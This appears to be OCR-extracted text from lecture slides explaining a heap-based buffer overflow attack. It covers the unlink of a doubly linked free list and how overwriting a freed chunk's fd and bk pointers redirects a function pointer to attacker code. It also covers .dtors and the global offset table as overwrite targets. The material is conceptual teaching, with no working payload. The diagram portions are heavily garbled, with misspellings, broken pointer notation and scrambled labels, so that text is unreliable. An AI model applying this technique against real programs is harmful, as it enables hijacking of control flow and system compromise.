notpartcf any free it Reforenced by another When block U is freed, it is consolidated with

1 Bo=A I fargerfree block the neighboring free block B, and B is taken

e hinck B out of its current free block list

1. (B->fd)->bk=B->bk (equivalent to A->bk=C)

* C->fd=B8 " Cosfd= A 2. (B->bk)->fd=B->fd (equivalent to C->fd=A)

C-a>bk = Y C-2bk =Y

(free block (free bk )

(a) initial state (b) after U freed



An Example Heap-Based Overflow Attack

A=>d = X
A->hk = H

(free blixk A)

(Bhck Inuswe)
not part of any free list

- ."'."\’ - \
Be>bk » C

(free block B)

* C->d=8
C-otk=Y

(free block O)

(a) initial state

-

' B->fd=p

A=>id = X
A->bk =8B

(free block A)

7 malhicous code
C mabicwus code | P
mahicous code

p >hik my_fumn
Be>bkwm =
(free chusk B)

C->id=8
C-ablk =Y

{free block O)

(c) after overflow

The attacker can send malicious messages to

overflow buffer U:

1. Overwriting B->fd to point to p (the address
of a function pointer).

2. Overwriting B->bk to point to m (the location
where the malicious code will be placed)



An Example Heap-Based Overflow Attack

A=>Id = X
A->bk = B

(free bloch A)

’nﬂmooa

""‘l.‘ - - -é--% -- ; -e 4{.‘: p
“ Be>bkem -
- (free chusk B)

C->fd=8
Ceobh=Y
(free block O)

(c) after overflow

b my_fu

When U is freed, B is taken out of the doubly linked
lists through two pointer operations:
(B->fd)->bk=B->bk (equivalent to p- >bk=m)
(B->bk)->fd=B->fd

The next time the function pointer at p->bk is
used, the malicious code will be executed.

The attacker needs to determine the address values

m and p and in order to seize control of the program.

A=>d = X
A->hk = B

(free blixk A)

’ malicious code =~
/| malicious code |

C->fd=8
C-otk=Y
(free block O)

(d) after overflow and U freed




An Example Heap-Based Overflow Attack

* One such location that may be written to in order to compromise a
program is known as .dtors.

* Programs compiled with GCC may feature functions marked as constructor or
destructor functions.

* Constructors are executed before main, and destructors are called after
main has returned.

 Therefore, if an attacker adds the address of his shellcode to the
.dtors section, which contains a list of destructor functions, his
code will be executed before the program terminates.



An Example Heap-Based Overflow Attack

* Another potential location that is vulnerable to attacks is known as
the global offset table (GOT). This table maps certain functions to
their absolute addresses.

* If an attacker overwrites the address of a function in the GOT with the
address of his shellcode and this function is called, the program will
jump to and execute the shellcode, once again giving full control to
the attacker.



